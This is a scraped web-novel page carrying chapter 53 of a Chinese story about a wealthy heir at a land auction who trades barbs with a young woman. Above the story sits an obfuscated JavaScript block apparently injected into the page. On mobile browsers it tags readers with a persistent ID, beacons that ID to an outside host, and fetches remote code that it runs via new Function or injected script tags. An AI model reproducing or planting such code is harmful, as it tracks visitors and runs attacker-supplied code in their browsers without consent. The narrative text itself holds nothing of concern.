足迹
不想玩
登录
关灯
护眼
字体:

第53章 完全不是我的菜(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

小型地产开发商多,达到龙城集团这种规模,业务横跨酒店、综合商场、住宅开发等项目的大型地产集团,数量可没多少。

像梅老板这样,手头上有个十亿左右,就利用银行贷款前往一线城市搞工程的地产商人,如今放眼全国,比比皆是。

在四五线城市,很多地产商的实力还不如梅老板,本身的资金可能还没范连城银行卡内的“零花钱”充裕,由此可见范连城的起步之高,高到足以让梅老头深感无力。

梅东启老头,此刻硬生生吞下这么个哑巴亏,毕竟是自己嘲笑范南华遇事在先,心里很有数。

好歹见习惯大风大浪,被范连城呛了句之后,跟个没事人一样,脸上洋溢起笑容,开口道:“原来是范总的儿子大驾光临,小伙子瞧着真精神,当真是老了啊,比不过你们这帮小年轻。

澹台老总,你们龙城地产看中哪块土地,事先透露点风声嘛,免得到时候好不容易凑足资金,又在你们这帮大地产公司面前自取其辱。苏城虽说不是省会,经济发展却好得很,瞧瞧这一屋子人,都忙着争抢这边的土地,我估计这趟是白来了,就连九龙苍集团的人也看中湖西,出手估计不会小。”

老话说,上有天堂,下有苏杭。

湖西的土地捂了几年,再加上苏城作为二线城市中的佼佼者,今天的土拍推介会现场,来的人真不算少,最后究竟有多少人参加土拍,那就难说了。

现场许多人不过是刷刷存在感,凑热闹而已,带姑娘过来狐假虎威的也有,反正来看看又不花钱。

澹台副总没卖关子,直接指向地图上被标注出来,临近湖边的那块土地,底价标注为十二亿九千万人民币,土拍可不是单单只算实际土地的价格,而是楼面价,也就是盖成房子后每平米的土地成本,容积率、绿化率这些都被官方规定好了。

按照四十万平米建筑面积计算,每平米差不多三千块,这只是底价而已,按照现场的热度来看,到时候四千一平米可能都拿不下来。

范连城算是看出来了,腰包不够足,真做不了这行生意。

也难怪从近几年的趋势看,地产龙头企业越做越大,有钱才能开发更多楼盘,要不是龙城集团资金比较充裕,很少有人敢拿地之后拖延太久,尤其是贷款拿地的那些人,每天可都要额外支出巨额利息。

龙城集团虽然也有负债,但主要集中在酒店和商场项目上,伴随着地价升值,还有租金、广告收入,还是挣到不少钱。

梅老板看完,心里顿时敞亮起来,嘴边带笑:“这才对嘛,你们这些大公司,要拿就拿最好的地段,剩下的边边角角留给我们竞争。最近等什么时候有空,我摆一桌饭,大家坐下来好好聊一聊,小范总也一定要赏脸……”

澹台副总点点头,既没拒绝也没同意,范连城更是一言不发,转身继续去看其他土地。

在外面待久了,觉得部分欧美国家的房价高到离谱,然而国内这边,让他觉得还在合理范围之内。

苏城这边的工薪阶级的夫妻俩,省着点每个月能买一平米,即使是头一回参加土拍的范连城,也觉得依然存在升值空间,此刻正在帮自家老头物色,看能不能再囤一块,或者自己买来玩也行。

今天半数土地,挂牌价勉强跟范连城那套位于浅水湾的半山别墅价格相当,比起一套豪宅,他更愿意要一块升值空间似乎更大些的土地。

好歹也迈入超级富豪门槛了,豪宅数量、彰显地位什么的他真不在意,相比起来还是投资挣钱更有意思些,何况放着不住简直是浪费。

只能说范父的计谋得逞。

将范连城拉出舒适圈后,真让这位独子领略到了不同的风光,并且还产生了些兴趣。

以往属于自己的英镑从没超过五位数,用来生活也略显勉强,脑子被门夹过才会去考虑投资、理财,现在不同了,自然而然就逼着范连城去动脑筋想这些。

人群中。

不少人面对一长串数字焦灼不安,一方面觉得拿下之后大概率能挣钱,另一方面又没那竞标投资的实力,即使拿下土地,如何建造也是大问题。

明知是机会,但却由于财力不够无法抓住,这种滋味可不好受,就像眼睁睁看着金山银海被别人搬走。

如果他们知道,范连城正盘算着自己买一块地,想要当成投资理财产品持有,估计更会郁闷到吐出一口老血,人和人之间的差距,还真就有那么大。

……

重在参与,学习为主。

摸清楚大体流程后,范连城继续懈怠,吃起主办方通过酒店准备的零食和果盘。

今天这种场合,真正在意食物的人没几个,心思全都放在了那些土地上,他身侧忽然多出个人,由于长得好看,穿着一身白色职业装,带有浓浓御姐风,范连城没忍住,就多看了几眼。

对方正偷吃,往嘴里塞个圣女果。

察觉到范连城的视线,起初没在意,瞧他这位年轻小伙子三番五次盯着自己,终究还是没忍下去,对着范连城瞪圆眼睛。

她拿起几颗圣女果,转过身去继续吃,连汁水滴落都没发现。

范连城忽然记起赵鲟说过的话,说女人不能只看外表,也可能在外精致到变态,家里却比猪窝还乱。

那家伙说话时候满脸惆怅,也不知当时受到何等打击,才会做出如此发自肺腑的总结,反正等赵鲟说到长毛的盘子后,范连城就果断让他闭了嘴。

这时。

范连城吃着小蛋糕,提醒说:“那个……你衣服弄脏了。”

好意提醒,却能引对方皱眉,女人可不就是这种神奇的生物。

脑回路跟男人天差地别。

范连城见她又不爽,翻白眼耸肩道:“又不是我吃的,瞪我干嘛,我承认你眼睛长得挺漂亮,也不用这么故意表现吧,天气热,赶紧吃点西瓜降降火。”

这女人擦着衣服回道:“刚才看你跟澹台副总说话,你是跟着他的司机?再这样油嘴滑舌,小心我去他面前告状,先分清场合再学人泡妞,你完全不是我的菜。”

“你说是就是呗,小跟班一个,今天出来见见世面。混得不错嘛,连我们公司副总裁都认识。”范连城一脸无所谓。

“废话,他也是我的上上上司。我就在金陵分公司工作,所以请你管好眼睛……”